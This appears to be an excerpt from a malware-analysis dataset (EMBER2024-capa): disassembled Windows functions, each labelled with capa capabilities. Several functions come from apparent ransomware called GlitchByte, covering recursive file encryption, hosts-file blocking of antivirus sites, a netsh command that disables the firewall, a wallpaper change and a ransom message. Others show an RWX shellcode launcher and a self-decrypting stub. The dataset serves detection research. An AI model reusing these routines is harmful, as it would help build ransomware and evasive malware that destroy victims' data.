joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1018e08c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov edx, dword [0x101b40d0]
add edx, 0x25b9
mov dword [0x101b40d0], edx
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1018d57f
lea ecx, [0x1018d85f]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x74], edx
mov dword [esp + 0x7c], 0x129400
mov dword [0x101b40d4], 0xae6
mov edx, dword [0x101b40bc]
mov dword [esp + 0x68], edx
mov edx, dword [0x101b40c0]
mov dword [esp + 0x34], edx
mov edx, dword [0x101b40c4]
mov dword [esp + 0x64], edx
mov edx, dword [0x101b40c8]
mov dword [esp + 0x5c], edx
mov edx, dword [0x101b40cc]
mov dword [esp + 0x30], edx
mov dword [0x101b40d0], 0x6f5
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1018e190
mov dword [0x101b40d4], 0x3ad
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1018e190
mov eax, dword [esp + 0x10]
mov dword [esp + 0x44], eax
mov dword [0x101b40d4], 0x2594
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x4c], edx
call fcn.1018d328
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
je 0x1018e1a1
jmp 0x1018e1e0
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1018e148
jmp 0x1018e12a
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x1018e17a
jmp 0x1018e12a
lea eax, [esp + 0x20]
mov ecx, dword [0x101b40d0]
add ecx, 0x20eb
mov dword [0x101b40d0], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1018cfb5
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x65b04c], 1
mov dword [0x65b050], 1
mov dword [0x65b054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x401670
Capabilities:
Create process on windows

Disassembly:
push edi
xor eax, eax
mov ecx, 0x10
push ebx
sub esp, 0x94
lea edx, [esp + 0x50]
lea ebx, [esp + 0x4c]
mov dword [esp + 0x4c], 0x44
mov edi, edx
mov dword [esp + 0x3c], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x40], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
add esp, 0x94
pop ebx
pop edi
ret
Function at 0x401ab0
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x840
lea edi, [esp + 0x40]
mov dword [esp + 0x14], str.malwarebytes.com
mov dword [esp + 0x18], str.bitdefender.com
mov dword [esp + 0x1c], str.avast.com
mov dword [esp + 0x20], str.symantec.com
mov dword [esp + 0x24], str.avast.com
mov dword [esp + 0x28], str.virustotal.com
mov dword [esp + 0x2c], str.tria.ge
mov dword [esp + 0x30], str.cuckoo.cert.ee
mov dword [esp + 0x34], str.hybrid_analysis.com
mov dword [esp + 0x38], str.crowdstrike.com
mov dword [esp + 0x3c], str.go.crowdstrike.com
mov dword [esp + 8], 0x400
mov dword [esp + 4], edi
mov dword [esp], str.SYSTEMROOT
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
sub esp, 0xc
lea ebx, [esp + 0x440]
mov dword [esp + 8], edi
mov dword [esp], ebx
mov dword [esp + 4], str._s_system32driversetchosts
call sym._sprintf
mov dword [esp], ebx
lea ebx, [esp + 0x14]
mov dword [esp + 4], 0x6543e9
call sym._fopen
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov esi, eax
mov dword [esp + 4], 1
mov dword [esp], 0x6543eb
call sym._fwrite
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp + 4], str.127.0.0.1_www._s_n127.0.0.1__s_n
add ebx, 4
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
call sym._fprintf
cmp ebx, edi
jne 0x401b88
mov dword [esp], esi
call sym._fclose
add esp, 0x840
pop ebx
pop esi
pop edi
ret

Function at 0x401bc0
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov edi, dword [esp + 0x30]
mov dword [esp + 4], 0x65440f
mov dword [esp], edi
call sym._fopen
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov ebx, eax
mov dword [esp], eax
call sym._fseek
mov dword [esp], ebx
call sym._ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov esi, eax
mov dword [esp], ebx
call sym._fseek
mov dword [esp], esi
call sym._malloc
mov ebp, eax
jmp 0x401c2e
mov byte [ebp], al
add ebp, 1
mov dword [esp], ebx
call sym._fgetc
cmp al, 0xff
jne 0x401c28
mov dword [esp], ebx
call sym._fclose
mov dword [esp + 4], 0x654411
mov dword [esp], edi
call sym._fopen
mov dword [esp + 8], 8
mov dword [esp + 0xc], eax
mov ebx, eax
mov dword [esp + 4], 1
mov dword [esp], str.GLBYTE
call sym._fwrite
test esi, esi
jle 0x401c9b
xor edi, edi
lea esi, [esi]
call sym._rand
mov dword [esp + 4], ebx
add edi, 1
movsx eax, al
mov dword [esp], eax
call sym._fputc
cmp esi, edi
jne 0x401c80
mov dword [esp + 0x30], ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
jmp sym._fclose
Function at 0x401cb0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x48c
mov eax, dword [esp + 0x4a0]
lea ebx, [esp + 0x2e]
mov dword [esp + 4], str._s.
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._sprintf
lea eax, [esp + 0x340]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
sub esp, 8
mov dword [esp + 0x14], eax
lea esi, [esp + 0x36c]
lea ebp, [esp + 0x132]
mov dword [esp + 4], 0x654424
mov dword [esp], esi
call ebx
test eax, eax
je 0x401d98
mov dword [esp + 4], 0x654426
mov dword [esp], esi
call ebx
test eax, eax
je 0x401d98
lea edi, [esp + 0x134]
mov ecx, ebp
xor eax, eax
mov dword [ebp], 0
mov dword [ebp + 0x100], 0
sub ecx, edi
add ecx, 0x104
shr ecx, 2
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], esi
mov dword [esp + 4], str._s_s
mov eax, dword [esp + 0x4a0]
mov dword [esp], ebp
mov dword [esp + 8], eax
call sym._sprintf
test byte [esp + 0x340], 0x10
mov dword [esp + 4], 0x2e
mov dword [esp], ebp
je 0x401dd0
call sym._strrchr
test eax, eax
je 0x401e40
lea esi, [esi]
lea eax, [esp + 0x340]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
sub esp, 8
test eax, eax
jne 0x401d08
add esp, 0x48c
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._strrchr
mov dword [esp + 0x18], eax
test eax, eax
je 0x401d98
mov edi, dword [esp + 0x4a4]
mov eax, edi
add eax, 0x5c
mov dword [esp + 0x1c], eax
jmp 0x401df9
add edi, 4
cmp edi, dword [esp + 0x1c]
je 0x401d98
mov eax, dword [edi]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call ebx
test eax, eax
jne 0x401df0
mov dword [esp], ebp
lea edi, [esp + 0x236]
call sym._XOREncryptFile
mov dword [esp + 8], ebp
mov dword [esp + 4], str._s.GLBT
mov dword [esp], edi
call sym._sprintf
mov dword [esp + 4], edi
mov dword [esp], ebp
call sym._rename
jmp 0x401d98
mov eax, dword [esp + 0x4a4]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sym._EncryptionLoop
jmp 0x401d98
Function at 0x401e60
Capabilities:
Create process on windows
Create process suspended
Query environment variable
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x290
lea ebx, [esp + 0x88]
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
mov dword [esp], str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
sub esp, 0xc
mov dword [esp + 8], ebx
lea ebx, [esp + 0x18c]
mov dword [esp], ebx
mov dword [esp + 4], str._sGlitchByte.bmp
call sym._sprintf
mov dword [esp], ebx
mov dword [esp + 4], 0x654411
call sym._fopen
mov dword [esp + 8], 0x240036
mov dword [esp + 0xc], eax
mov esi, eax
mov dword [esp + 4], 1
mov dword [esp], 0x412ee0
call sym._fwrite
mov dword [esp], esi
call sym._fclose
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
mov dword [esp], ebx
call sym._strlen
mov dword [esp + 0x10], ebx
lea eax, [eax*4 + 4]
mov dword [esp + 0xc], 1
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 8], 0
mov dword [esp + 4], str.Wallpaper
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, 0x10
sub esp, 4
lea edx, [esp + 0x48]
lea ebx, [esp + 0x44]
mov dword [esp + 0x44], 0x44
mov edi, edx
mov dword [esp + 0x34], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.rundll32.exe_user32.dll_UpdatePerUserSystemParameters
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
add esp, 0x290
pop ebx
pop esi
pop edi
ret

Function at 0x402000
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x418
mov eax, dword [esp + 0x420]
lea ebx, [esp + 0x10]
mov dword [esp + 4], str._sGlitchByte_Decryptor.exe
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._sprintf
mov dword [esp], ebx
mov dword [esp + 4], 0x654411
call sym._fopen
mov dword [esp + 8], 0xee2f
mov dword [esp + 0xc], eax
mov ebx, eax
mov dword [esp + 4], 1
mov dword [esp], 0x4040a0
call sym._fwrite
mov dword [esp], ebx
call sym._fclose
add esp, 0x418
pop ebx
ret

Function at 0x4022c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort
Function at 0x402e9c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x402ebb
mov eax, 0
jmp 0x402eff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402ede
mov eax, 0
jmp 0x402eff
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x402efa
mov eax, 0
jmp 0x402eff
mov eax, 1
leave
ret

Function at 0x402f01
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402f60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402f58
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402f58
mov eax, dword [ebp - 4]
jmp 0x402f74
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402f35
mov eax, 0
leave
ret
Function at 0x403710
Capabilities:
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x27c]
mov esi, 0x404020
push ebx
lea ebx, [ebp - 0x220]
push ecx
sub esp, 0x288
call sym.___main
mov dword [esp], str._nif_you_thought_this_ransomware_uses_XOR__youre_wrong._theres_no_way_to_get_your_files_back._nim_just_doing_this_for_ukraines_revenge_on_russia._nsee_you_somewhere_out_there__malware_researchers__when_i_get_caught__which_i_probably_never_will._good_luck_though._the_first_letters_are_T__V_O.__n_____________2024_n
call sym._printf
mov ecx, 0x17
lea eax, [ebp - 0x27c]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], eax
mov dword [esp], 0x654193
call sym._EncryptionLoop
mov dword [esp + 4], 8
mov dword [esp], str.netsh_firewall_set_opmode_modedisable_profileall
call sym._StartProcess
call sym._AntiRecovery
call sym._AntiAV
call sym._ChangeBackground
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
sub esp, 0xc
mov dword [esp], ebx
call sym._strlen
add eax, ebx
mov dword [eax], 0x7365445c
mov dword [eax + 4], 0x706f746b
mov byte [eax + 8], 0
mov dword [esp], ebx
call sym._DropDecryptor
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x11c]
mov dword [esp], ebx
mov dword [esp + 4], 0x6541d7
call sym._sprintf
mov dword [esp], ebx
mov dword [esp + 4], 8
call sym._StartProcess
mov dword [esp], 0xffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
sub esp, 4
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x4151e6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x415283
push ebx
push esi
call fcn.004151af
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00413e34
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x415230
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415282
push edi
push eax
call fcn.00412001
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x415250
call fcn.0040efd8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415281
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00413e34
add esp, 0x20
test eax, eax
jne 0x41526f
push edi
call fcn.0040efd8
jmp 0x415277
push ebx
call fcn.0040efd8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41ae50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ae7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ae7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x41c20e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
xor ebp, ebp
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, 0x473028
mov esi, eax
push edi
call fcn.0041c168
push ebx
push edi
push esi
call fcn.00405470
add esp, 0x14
call fcn.0041c14e
push ebp
push ebp
push 0x427028
lea eax, [esi + 0x188]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402580
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov esi, ecx
cmp eax, 0x201
jne 0x4025fb
mov eax, dword [edi + 0x14]
mov ecx, dword [edi + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
test esi, esi
jne 0x4025b0
xor eax, eax
jmp 0x4025b3
mov eax, dword [esi + 0x20]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.USER32.dll_ScreenToClient]
mov eax, dword [esi + 0x1e0]
cmp dword [eax - 0xc], 0
je 0x4025e4
push 3
push 0
push 0
push eax
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, esi
call sub.mfc90.dll_Ordinal_2069
push edi
mov ecx, esi
call sub.mfc90.dll_Ordinal_5639
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
cmp eax, 0x2a1
je 0x4025eb
cmp eax, 0x2a3
je 0x4025eb
cmp eax, 0x100
jne 0x402625
cmp dword [edi + 8], 0xd
jne 0x4025eb
call fcn.00402a30
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
cmp eax, 0x204
je 0x402633
cmp eax, 0x206
jne 0x4025eb
cmp dword [esi + 0x204], 0
jne 0x4025eb
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x403670
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x40c510
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
push ebp
push esi
push edi
mov eax, dword [0x414018]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
mov ecx, dword [esp + 0x4c]
mov edx, dword [ecx + 0x20]
lea eax, [esp + 0x28]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [esp + 0x30]
sub esi, dword [esp + 0x28]
mov edi, dword [esp + 0x34]
sub edi, dword [esp + 0x2c]
cmp esi, 0x64
jl 0x403766
cmp edi, 0x64
jl 0x403766
xor ebx, ebx
mov ebp, vtable.CRgn.0
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x44], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ebp
push 4
push 4
push edi
push esi
push ebx
push ebx
mov byte [esp + 0x5c], 1
call dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
push eax
lea ecx, [esp + 0x1c]
call sub.mfc90.dll_Ordinal_1358
push edi
push esi
push 4
push ebx
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push eax
lea ecx, [esp + 0x24]
call sub.mfc90.dll_Ordinal_1358
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
lea edx, [esp + 0x1c]
call fcn.00403850
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x4c]
mov eax, dword [edx + 0x20]
push 1
push ecx
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov byte [esp + 0x44], bl
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebp
call fcn.004038c0
mov dword [esp + 0x44], 0xffffffff
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
call fcn.004038c0
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 4
Function at 0x403b30
Capabilities:
Check os version

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x403a70
push 5
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push str.Urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x403b73
push str.CoInternetSetFeatureEnabled
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
push 2
push 0x15
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x403b87
push 0
push 0
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
xor esi, esi
call fcn.0040a1d0
test eax, eax
jne 0x403c58
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.0040aa50
test eax, eax
jne 0x403c58
push 0x403d00
push 0x41489c
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403df0
push 0x4148a0
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403ee0
push 0x414148
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403ef0
push 0x4148a4
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403f00
push 0x4148a8
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403f20
push 0x4148ac
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403f20
push 0x4148b0
call fcn.0040ab10
test eax, eax
jne 0x403c58
push 0x403f30
push 0x4148b4
call fcn.0040ab10
test eax, eax
jne 0x403c58
call fcn.0040a450
test eax, eax
jne 0x403c58
mov esi, 1
mov eax, esi
pop esi
ret

Function at 0x404220
Capabilities:
Delete file

Disassembly:
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [esi], vtable.CErrorLog.0
cmp dword [esi + 0x210], edi
je 0x4042c2
cmp dword [esi + 0x218], edi
je 0x40425e
mov eax, dword [esi + 0x228]
add eax, dword [esi + 0x224]
add eax, dword [esi + 0x220]
test eax, eax
jg 0x40425e
mov edi, 1
jmp 0x404287
mov ecx, dword [esi + 0x220]
mov edx, dword [esi + 0x224]
mov eax, dword [esi + 0x228]
push ecx
push edx
push eax
push 0x40fcb4
mov ecx, 5
mov edx, esi
call fcn.004042d0
add esp, 0x10
mov ecx, dword [esi + 0x210]
push ecx
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
mov dword [esi + 0x210], 0
test edi, edi
je 0x4042c2
lea edx, [esi + 8]
mov eax, edx
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4042b0
sub eax, esi
je 0x4042c2
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ecx
ret
Function at 0x405300
Capabilities:
Create thread
Resume thread

Disassembly:
sub esp, 8
cmp dword [esi + 0x8c], 0
je 0x405364
cmp dword [esi + 0x80], 0
je 0x40536a
mov ecx, dword [esi + 0xd0]
sub ecx, dword [esi + 0xcc]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x40536a
lea ecx, [esp + 4]
push ecx
push 4
push esi
push 0x405900
push 0
push 0
call dword [sym.imp.MSVCR90.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 0xa8], eax
test eax, eax
je 0x405364
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add esp, 8
ret
mov eax, dword [esi + 0xb0]
test eax, eax
je 0x405364
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push edi
lea ecx, [esp + 8]
push ecx
push eax
call edx
mov eax, dword [esi + 0xb0]
mov ecx, dword [eax]
lea edx, [esp + 4]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov ecx, dword [esp + 4]
mov eax, dword [esi + 0xb0]
mov edx, dword [eax]
push 0
mov edx, dword [edx + 0x20]
mov edi, ecx
neg edi
push edi
mov edi, dword [esp + 0x10]
push edi
push ecx
mov ecx, dword [esi + 0x68]
push 0
push ecx
mov ecx, dword [esi + 0x64]
push ecx
mov ecx, dword [esi + 0x90]
push 0
push 0
push ecx
push eax
call edx
pop edi
test eax, eax
jne 0x405364
push eax
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, 1
add esp, 8
ret